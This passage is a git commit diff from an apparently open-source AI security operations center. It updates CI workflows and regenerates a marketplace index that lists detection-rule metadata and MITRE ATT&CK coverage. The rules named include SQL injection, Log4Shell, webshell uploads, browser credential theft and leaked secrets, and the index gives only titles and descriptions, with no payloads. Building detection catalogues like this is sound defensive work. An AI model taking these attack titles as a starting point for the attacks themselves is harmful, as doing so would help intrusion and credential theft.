Open-source AI Security Operations Center: alert fusion, LLM-agent triage, MITRE ATT&CK investigation, and a replayable decision ledger for every agent step. Self-hostable, runs with no API keys, MIT licensed. Ships an MCP server for Claude, Cursor and Continue.
Python agentic-aiai-securityalert-triageblue-teamcybersecuritydetection-engineeringincident-responselanggraphllm-agentsmcpmitre-attackmodel-context-protocolpurple-teamsecurity-operationsself-hostedsiemsoarsocthreat-detectionthreat-intelligence
feat: ship 200+ detections, 50+ playbooks, 15 plugins, marketplace
Beenu Arora040eb2f36e17
diff --git a/.github/workflows/sync-marketplace.yml b/.github/workflows/sync-marketplace.ymlindex f66c788c8..10bfb0b53 100644--- a/.github/workflows/sync-marketplace.yml+++ b/.github/workflows/sync-marketplace.yml@@ -5,10 +5,19 @@ on:branches: [main]paths:- "marketplace/index.json"+ - "apps/web/public/marketplace/index.json"+ - "scripts/build_marketplace.py"+ - "detections/**"+ - "playbooks/**"+ - "plugins/**"pull_request:paths:- "marketplace/index.json"- "apps/web/public/marketplace/index.json"+ - "scripts/build_marketplace.py"+ - "detections/**"+ - "playbooks/**"+ - "plugins/**"jobs:sync:@@ -19,28 +28,47 @@ jobs:- name: Checkoutuses: actions/checkout@v4+ - name: Set up Python+ uses: actions/setup-python@v5+ with:+ python-version: "3.11"++ - name: Install Python deps+ run: pip install pyyaml+- name: Validate JSON syntax- run: python3 -c "import json, sys; json.load(open('marketplace/index.json')); print('marketplace/index.json is valid JSON')"+ run: python3 -c "import json; json.load(open('marketplace/index.json')); print('marketplace/index.json is valid JSON')"++ - name: Verify on-disk index matches scripts/build_marketplace.py output+ run: python3 scripts/build_marketplace.py --check- name: Check public copy is in syncrun: |if ! diff -q marketplace/index.json apps/web/public/marketplace/index.json > /dev/null 2>&1; thenecho "::error::apps/web/public/marketplace/index.json is out of sync with marketplace/index.json"- echo "Run: pnpm marketplace:sync"+ echo "Run: pnpm marketplace:build && pnpm marketplace:sync"exit 1fi- echo "Public copy is in sync ✓"+ echo "Public copy is in sync"- name: Summarise itemsif: always()run: |echo "### Marketplace Index Summary" >> $GITHUB_STEP_SUMMARYecho "" >> $GITHUB_STEP_SUMMARY- total=$(python3 -c "import json; d=json.load(open('marketplace/index.json')); print(len(d['items']))")- playbooks=$(python3 -c "import json; d=json.load(open('marketplace/index.json')); print(sum(1 for i in d['items'] if i['type']=='playbook'))")- detections=$(python3 -c "import json; d=json.load(open('marketplace/index.json')); print(sum(1 for i in d['items'] if i['type']=='detection'))")- echo "| Category | Count |" >> $GITHUB_STEP_SUMMARY- echo "|------------|-------|" >> $GITHUB_STEP_SUMMARY- echo "| Total | $total |" >> $GITHUB_STEP_SUMMARY- echo "| Playbooks | $playbooks |" >> $GITHUB_STEP_SUMMARY- echo "| Detections | $detections |" >> $GITHUB_STEP_SUMMARY+ python3 - <<'PY' >> $GITHUB_STEP_SUMMARY+ import json+ d = json.load(open('marketplace/index.json'))+ stats = d.get('stats', {})+ mitre = d.get('mitre_coverage', {})+ print('| Category | Count |')+ print('|------------|-------|')+ print(f"| Total | {stats.get('total', len(d['items']))} |")+ print(f"| Playbooks | {stats.get('playbooks', 0)} |")+ print(f"| Detections | {stats.get('detections', 0)} |")+ print(f"| Plugins | {stats.get('plugins', 0)} |")+ print(f"| Verified | {stats.get('verified', 0)} |")+ print(f"| Community | {stats.get('community', 0)} |")+ print()+ print(f"**MITRE ATT&CK coverage:** {mitre.get('unique_techniques', 0)} unique techniques across {mitre.get('total_with_mitre', 0)} items.")+ PYdiff --git a/.github/workflows/validate-detections.yml b/.github/workflows/validate-detections.ymlindex 59f2bce77..4eacbcc17 100644--- a/.github/workflows/validate-detections.yml+++ b/.github/workflows/validate-detections.yml@@ -5,11 +5,15 @@ on:paths:- "detections/**"- "scripts/validate_detections.py"+ - "scripts/generate_detections.py"+ - "scripts/detection_specs*.py"- ".github/workflows/validate-detections.yml"pull_request:paths:- "detections/**"- "scripts/validate_detections.py"+ - "scripts/generate_detections.py"+ - "scripts/detection_specs*.py"jobs:validate:@@ -28,8 +32,8 @@ jobs:- name: Install PyYAMLrun: pip install pyyaml- - name: Run detection rule validator- run: python3 scripts/validate_detections.py+ - name: Run detection rule validator (strict fixture replay)+ run: python3 scripts/validate_detections.py --strict-fixtures- name: Count rules by severityif: always()@@ -52,7 +56,7 @@ jobs:echo "" >> $GITHUB_STEP_SUMMARYecho "| Category | Count |" >> $GITHUB_STEP_SUMMARYecho "|----------|-------|" >> $GITHUB_STEP_SUMMARY- for cat in network endpoint cloud identity application; do+ for cat in network endpoint cloud identity application data-exfil; docount=$(find detections/$cat/ -name "*.yaml" 2>/dev/null | wc -l | tr -d ' ')echo "| $cat | $count |" >> $GITHUB_STEP_SUMMARYdonediff --git a/.github/workflows/validate-playbooks.yml b/.github/workflows/validate-playbooks.ymlnew file mode 100644index 000000000..50078d2ce--- /dev/null+++ b/.github/workflows/validate-playbooks.yml@@ -0,0 +1,68 @@+name: Validate Playbook Pack++on:+ push:+ paths:+ - "playbooks/**"+ - "services/agents/app/playbook/models.py"+ - "scripts/validate_playbooks.py"+ - "scripts/generate_playbooks.py"+ - ".github/workflows/validate-playbooks.yml"+ pull_request:+ paths:+ - "playbooks/**"+ - "services/agents/app/playbook/models.py"+ - "scripts/validate_playbooks.py"+ - "scripts/generate_playbooks.py"++jobs:+ validate:+ name: Validate & summarise playbook pack+ runs-on: ubuntu-latest++ steps:+ - name: Checkout+ uses: actions/checkout@v4++ - name: Set up Python+ uses: actions/setup-python@v5+ with:+ python-version: "3.11"++ - name: Install minimal deps for playbook model+ run: pip install --quiet pydantic httpx++ - name: Run playbook validator+ run: python3 scripts/validate_playbooks.py++ - name: Verify generator is reproducible (no drift)+ # If someone hand-edits a generated playbook without updating the+ # generator, the pack drifts from the source of truth. Re-run the+ # generator into a tmp tree and diff against the committed tree.+ run: |+ python3 scripts/generate_playbooks.py+ if ! git diff --quiet -- playbooks/packs/v1; then+ echo "::error::scripts/generate_playbooks.py output differs from committed tree."+ echo "Either regenerate locally with python3 scripts/generate_playbooks.py and commit,"+ echo "or update the spec in scripts/generate_playbooks.py to match your edit."+ git --no-pager diff --stat -- playbooks/packs/v1+ exit 1+ fi++ - name: Count playbooks by category+ if: always()+ run: |+ echo "### Playbook Pack Summary" >> $GITHUB_STEP_SUMMARY+ echo "" >> $GITHUB_STEP_SUMMARY+ echo "| Category | Count |" >> $GITHUB_STEP_SUMMARY+ echo "|----------|-------|" >> $GITHUB_STEP_SUMMARY+ total=0+ for cat in account-takeover ransomware bec insider-risk \+ cloud-misconfig data-exfil lateral-movement \+ supply-chain ddos; do+ count=$(find playbooks/packs/v1/$cat -name "*.playbook.json" 2>/dev/null | wc -l | tr -d ' ')+ echo "| $cat | $count |" >> $GITHUB_STEP_SUMMARY+ total=$((total + count))+ done+ echo "" >> $GITHUB_STEP_SUMMARY+ echo "**Total playbooks: $total**" >> $GITHUB_STEP_SUMMARYdiff --git a/.gitignore b/.gitignoreindex 3c4635a52..aa23ae021 100644--- a/.gitignore+++ b/.gitignore@@ -46,6 +46,10 @@ htmlcov/*.swo.cursor/hooks/state/+# Go test/build binaries inside plugins+plugins/**/*-build-test+plugins/**/*-build+# OS.DS_StoreThumbs.dbdiff --git a/apps/web/public/marketplace/index.json b/apps/web/public/marketplace/index.jsonindex b178238ed..3b29e296d 100644--- a/apps/web/public/marketplace/index.json+++ b/apps/web/public/marketplace/index.json@@ -1,7 +1,7 @@{"$schema": "https://aisoc.dev/schemas/marketplace/v1.json","version": "1.0.0",- "generated": "2025-01-15T00:00:00Z",+ "generated": "2026-05-04T08:01:43Z","categories": [{"id": "playbooks",@@ -11,274 +11,5929 @@{"id": "detections","label": "Detection Rules",- "description": "Sigma-inspired YAML rules for identifying malicious or suspicious activity."+ "description": "Curated YAML rules for identifying malicious or suspicious activity across cloud, identity, endpoint, network, application, and data-exfil categories."+ },+ {+ "id": "plugins",+ "label": "Plugins",+ "description": "Reference connectors, enrichers, actions, and widgets shipped with both Python and Go SDK implementations for cross-language parity."}],+ "stats": {+ "total": 265,+ "playbooks": 50,+ "detections": 200,+ "plugins": 15,+ "verified": 265,+ "community": 0+ },+ "mitre_coverage": {+ "techniques": {+ "T1003.001": 1,+ "T1003.006": 1,+ "T1021": 1,+ "T1021.001": 2,+ "T1021.002": 3,+ "T1021.006": 1,+ "T1027": 1,+ "T1040": 1,+ "T1041": 4,+ "T1046": 1,+ "T1047": 2,+ "T1048.003": 2,+ "T1052": 2,+ "T1052.001": 1,+ "T1053.003": 1,+ "T1053.005": 1,+ "T1055": 1,+ "T1059": 2,+ "T1059.001": 1,+ "T1059.002": 1,+ "T1059.004": 2,+ "T1068": 1,+ "T1069.003": 1,+ "T1070.001": 1,+ "T1071": 2,+ "T1071.001": 5,+ "T1071.004": 2,+ "T1078": 11,+ "T1078.001": 2,+ "T1078.004": 11,+ "T1083": 1,+ "T1087.002": 1,+ "T1087.004": 1,+ "T1090.003": 1,+ "T1095": 1,+ "T1098": 4,+ "T1098.001": 7,+ "T1098.003": 1,+ "T1098.004": 1,+ "T1110": 2,+ "T1110.001": 2,+ "T1110.003": 1,+ "T1110.004": 2,+ "T1113": 1,+ "T1114.002": 1,+ "T1114.003": 1,+ "T1133": 2,+ "T1135": 1,+ "T1136.001": 2,+ "T1176": 1,+ "T1190": 16,+ "T1195": 2,+ "T1195.002": 3,+ "T1199": 4,+ "T1204.001": 1,+ "T1204.002": 1,+ "T1212": 2,+ "T1218": 1,+ "T1219": 1,+ "T1484.001": 1,+ "T1485": 5,+ "T1486": 5,+ "T1490": 2,+ "T1498": 2,+ "T1498.001": 2,+ "T1498.002": 2,+ "T1505.003": 2,+ "T1525": 3,+ "T1528": 1,+ "T1530": 19,+ "T1531": 1,+ "T1539": 2,+ "T1543.001": 1,+ "T1543.003": 1,+ "T1543.004": 1,+ "T1547.001": 1,+ "T1547.006": 1,+ "T1548.001": 1,+ "T1548.003": 1,+ "T1550.002": 1,+ "T1550.004": 1,+ "T1552.001": 6,+ "T1552.004": 1,+ "T1553.001": 2,+ "T1555": 1,+ "T1555.003": 1,+ "T1555.005": 1,+ "T1556": 3,+ "T1556.006": 3,+ "T1556.007": 1,+ "T1557": 1,+ "T1557.001": 1,+ "T1558.001": 1,+ "T1558.002": 1,+ "T1558.003": 3,+ "T1558.004": 1,+ "T1560.001": 3,+ "T1562.001": 4,+ "T1562.004": 1,+ "T1562.006": 1,+ "T1562.008": 6,+ "T1564.008": 1,+ "T1565.001": 2,+ "T1566": 1,+ "T1566.001": 1,+ "T1566.002": 1,+ "T1567": 7,+ "T1567.002": 3,+ "T1568.001": 1,+ "T1572": 2,+ "T1573.002": 1,+ "T1574.002": 2,+ "T1578.002": 1,+ "T1592": 2,+ "T1595.002": 1,+ "T1606.002": 1,+ "T1609": 1,+ "T1611": 2,+ "T1621": 2,+ "T1656": 1+ },+ "unique_techniques": 120,+ "total_with_mitre": 247+ },"items": [{- "id": "tpl-malware-triage",+ "id": "det-application-001",+ "type": "detection",+ "name": "SQL Injection Attempt in HTTP Query",+ "description": "Detects HTTP requests containing common SQL injection payload patterns in query strings or POST bodies. Strong indicator of automated probing or active exploitation against web applications.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "waf",+ "playbook": "tpl-webattack",+ "verified": true,+ "source": "core",+ "path": "detections/application/sql-injection-attempt.yaml"+ },+ {+ "id": "det-application-002",+ "type": "detection",+ "name": "Cross-Site Scripting Attempt",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Cross-Site Scripting Attempt'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "waf",+ "playbook": "tpl-webattack",+ "verified": true,+ "source": "core",+ "path": "detections/application/xss-attempt.yaml"+ },+ {+ "id": "det-application-003",+ "type": "detection",+ "name": "Path Traversal Attempt in HTTP Request",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Path Traversal Attempt in HTTP Request'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1083"+ ],+ "log_source": "waf",+ "playbook": "tpl-webattack",+ "verified": true,+ "source": "core",+ "path": "detections/application/path-traversal.yaml"+ },+ {+ "id": "det-application-004",+ "type": "detection",+ "name": "SSRF Attempt to Cloud Metadata Endpoint",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'SSRF Attempt to Cloud Metadata Endpoint'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "application",+ "mitre_techniques": [+ "T1190",+ "T1212"+ ],+ "log_source": "waf",+ "playbook": "tpl-webattack",+ "verified": true,+ "source": "core",+ "path": "detections/application/ssrf-attempt.yaml"+ },+ {+ "id": "det-application-005",+ "type": "detection",+ "name": "Log4Shell JNDI Pattern in HTTP Header",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Log4Shell JNDI Pattern in HTTP Header'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "application",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "waf",+ "playbook": "tpl-webattack",+ "verified": true,+ "source": "core",+ "path": "detections/application/log4shell.yaml"+ },+ {+ "id": "det-application-006",+ "type": "detection",+ "name": "Webshell File Upload Pattern",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Webshell File Upload Pattern'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "application",+ "mitre_techniques": [+ "T1505.003"+ ],+ "log_source": "waf",+ "playbook": "tpl-webshell",+ "verified": true,+ "source": "core",+ "path": "detections/application/webshell-upload.yaml"+ },+ {+ "id": "det-application-007",+ "type": "detection",+ "name": "OS Command Injection in HTTP Parameter",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'OS Command Injection in HTTP Parameter'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "application",+ "mitre_techniques": [+ "T1059"+ ],+ "log_source": "waf",+ "playbook": "tpl-webattack",+ "verified": true,+ "source": "core",+ "path": "detections/application/command-injection.yaml"+ },+ {+ "id": "det-application-008",+ "type": "detection",+ "name": "Rate Limit Burst on Authentication Endpoint",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Rate Limit Burst on Authentication Endpoint'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "application",+ "mitre_techniques": [+ "T1110"+ ],+ "log_source": "waf",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/application/rate-limit-burst.yaml"+ },+ {+ "id": "det-application-009",+ "type": "detection",+ "name": "GraphQL Introspection Query in Production",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'GraphQL Introspection Query in Production'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "low",+ "category": "application",+ "mitre_techniques": [+ "T1592"+ ],+ "log_source": "waf",+ "playbook": "tpl-recon",+ "verified": true,+ "source": "core",+ "path": "detections/application/graphql-introspection.yaml"+ },+ {+ "id": "det-application-010",+ "type": "detection",+ "name": "Hard-Coded API Key Pattern Leaked in HTTP Request",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Hard-Coded API Key Pattern Leaked in HTTP Request'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "application",+ "mitre_techniques": [+ "T1552.001"+ ],+ "log_source": "waf",+ "playbook": "tpl-secret-leak",+ "verified": true,+ "source": "core",+ "path": "detections/application/api-key-leak-in-request.yaml"+ },+ {+ "id": "det-application-011",+ "type": "detection",+ "name": "Known-Bad Scanner User-Agent",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Known-Bad Scanner User-Agent'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "low",+ "category": "application",+ "mitre_techniques": [+ "T1595.002"+ ],+ "log_source": "waf",+ "playbook": "tpl-recon",+ "verified": true,+ "source": "core",+ "path": "detections/application/user-agent-known-tool.yaml"+ },+ {+ "id": "det-application-012",+ "type": "detection",+ "name": "JWT With alg=none in Authorization Header",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'JWT With alg=none in Authorization Header'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "application",+ "mitre_techniques": [+ "T1078"+ ],+ "log_source": "waf",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/application/jwt-none-alg.yaml"+ },+ {+ "id": "det-application-013",+ "type": "detection",+ "name": "Open Redirect Pattern in URL Parameter",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Open Redirect Pattern in URL Parameter'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "application",+ "mitre_techniques": [+ "T1204.001"+ ],+ "log_source": "waf",+ "playbook": "tpl-webattack",+ "verified": true,+ "source": "core",+ "path": "detections/application/open-redirect.yaml"+ },+ {+ "id": "det-application-014",+ "type": "detection",+ "name": "Build Pipeline Fetched Public Package With Internal Name",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Build Pipeline Fetched Public Package With Internal Name'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1195.002"+ ],+ "log_source": "build",+ "playbook": "tpl-supply-chain",+ "verified": true,+ "source": "core",+ "path": "detections/application/dependency-confusion-fetch.yaml"+ },+ {+ "id": "det-application-015",+ "type": "detection",+ "name": "Secret-Pattern Match in CI Job Log",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Secret-Pattern Match in CI Job Log'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1552.001"+ ],+ "log_source": "ci",+ "playbook": "tpl-secret-leak",+ "verified": true,+ "source": "core",+ "path": "detections/application/ci-secret-printed-to-log.yaml"+ },+ {+ "id": "det-application-016",+ "type": "detection",+ "name": "Push to Protected Branch by Non-Admin",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Push to Protected Branch by Non-Admin'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1195.002"+ ],+ "log_source": "github",+ "playbook": "tpl-supply-chain",+ "verified": true,+ "source": "core",+ "path": "detections/application/github-protected-branch-bypass.yaml"+ },+ {+ "id": "det-application-017",+ "type": "detection",+ "name": "Internal Repository Made Public",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Internal Repository Made Public'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "application",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "github",+ "playbook": "tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/application/github-public-repo-flip.yaml"+ },+ {+ "id": "det-application-018",+ "type": "detection",+ "name": "Kubernetes Pulled Image From Untrusted Registry",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Kubernetes Pulled Image From Untrusted Registry'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1525"+ ],+ "log_source": "kubernetes",+ "playbook": "tpl-supply-chain",+ "verified": true,+ "source": "core",+ "path": "detections/application/container-image-pulled-untrusted-registry.yaml"+ },+ {+ "id": "det-application-019",+ "type": "detection",+ "name": "Sequential ID Enumeration Pattern Against API",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Sequential ID Enumeration Pattern Against API'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1592"+ ],+ "log_source": "waf",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/application/api-mass-enumeration-ids.yaml"+ },+ {+ "id": "det-application-020",+ "type": "detection",+ "name": "API Returned Object Outside Caller's Tenant",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'API Returned Object Outside Caller's Tenant'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "application",+ "mitre_techniques": [+ "T1212"+ ],+ "log_source": "app",+ "playbook": "tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/application/api-permission-bypass-idor.yaml"+ },+ {+ "id": "det-application-021",+ "type": "detection",+ "name": "POST Without Referer/Origin to Sensitive Endpoint",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'POST Without Referer/Origin to Sensitive Endpoint'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "application",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "waf",+ "playbook": "tpl-webattack",+ "verified": true,+ "source": "core",+ "path": "detections/application/csrf-on-sensitive-mutation.yaml"+ },+ {+ "id": "det-application-022",+ "type": "detection",+ "name": "Java/Python Deserialization Pattern",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Java/Python Deserialization Pattern'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "application",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "waf",+ "playbook": "tpl-webattack",+ "verified": true,+ "source": "core",+ "path": "detections/application/deserialization-attack.yaml"+ },+ {+ "id": "det-application-023",+ "type": "detection",+ "name": "GitLab Runner Registered as Shared Without Approval",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'GitLab Runner Registered as Shared Without Approval'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1525"+ ],+ "log_source": "gitlab",+ "playbook": "tpl-supply-chain",+ "verified": true,+ "source": "core",+ "path": "detections/application/gitlab-runner-shared-tag.yaml"+ },+ {+ "id": "det-application-024",+ "type": "detection",+ "name": "SaaS File Mass Public-Share by Single User",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'SaaS File Mass Public-Share by Single User'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "google-workspace",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/application/saas-mass-share-public.yaml"+ },+ {+ "id": "det-application-025",+ "type": "detection",+ "name": "Slack Token Posted in Public Channel",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Slack Token Posted in Public Channel'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1552.004"+ ],+ "log_source": "slack",+ "playbook": "tpl-secret-leak",+ "verified": true,+ "source": "core",+ "path": "detections/application/slack-token-exposed.yaml"+ },+ {+ "id": "det-application-026",+ "type": "detection",+ "name": "Marketplace App Installed With Broad Scopes",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Marketplace App Installed With Broad Scopes'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "application",+ "mitre_techniques": [+ "T1098.001"+ ],+ "log_source": "google-workspace",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/application/saas-app-installed.yaml"+ },+ {+ "id": "det-application-027",+ "type": "detection",+ "name": "Process Reading Browser Login Database",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Process Reading Browser Login Database'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1555.003"+ ],+ "log_source": "edr",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/application/browser-credential-grabber.yaml"+ },+ {+ "id": "det-application-028",+ "type": "detection",+ "name": "Outbound RDP Connection Initiated From Workstation to Internet",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Outbound RDP Connection Initiated From Workstation to Internet'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1572"+ ],+ "log_source": "ndr",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/application/rdp-tickling.yaml"+ },+ {+ "id": "det-application-029",+ "type": "detection",+ "name": "Microsoft 365 Brand Impersonation Phishing URL",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Microsoft 365 Brand Impersonation Phishing URL'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1566.002"+ ],+ "log_source": "email",+ "playbook": "tpl-phishing",+ "verified": true,+ "source": "core",+ "path": "detections/application/phishing-ms365-impersonation.yaml"+ },+ {+ "id": "det-application-030",+ "type": "detection",+ "name": "Email Attachment with Double Extension Pattern",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Email Attachment with Double Extension Pattern'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "application",+ "mitre_techniques": [+ "T1566.001"+ ],+ "log_source": "email",+ "playbook": "tpl-phishing",+ "verified": true,+ "source": "core",+ "path": "detections/application/phishing-attachment-double-extension.yaml"+ },+ {+ "id": "det-cloud-001",+ "type": "detection",+ "name": "AWS Root Account Console Login",+ "description": "Detects any console sign-in event using the AWS root account. Root account usage outside of initial setup or emergency break-glass scenarios should trigger immediate investigation. Best practice requires MFA on the root account.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1078.004"+ ],+ "log_source": "aws",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-root-account-login.yaml"+ },+ {+ "id": "det-cloud-002",+ "type": "detection",+ "name": "AWS IAM Enumeration Burst",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS IAM Enumeration Burst'. Watch the 2 documented false-positive cases before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1087.004",+ "T1069.003"+ ],+ "log_source": "aws",+ "playbook": "tpl-cloud-recon",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-iam-enumeration.yaml"+ },+ {+ "id": "det-cloud-003",+ "type": "detection",+ "name": "AWS S3 Bucket Made Public",+ "description": "Detects when an S3 bucket ACL or bucket policy is modified to allow public read or public read-write access, which can lead to data exposure or unauthorised data exfiltration.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "aws",+ "playbook": "tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-s3-public-bucket.yaml"+ },+ {+ "id": "det-cloud-004",+ "type": "detection",+ "name": "AWS S3 Bucket Deletion",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS S3 Bucket Deletion'. Watch the 2 documented false-positive cases before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1485"+ ],+ "log_source": "aws",+ "playbook": "tpl-data-destruction",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-s3-bucket-deletion.yaml"+ },+ {+ "id": "det-cloud-005",+ "type": "detection",+ 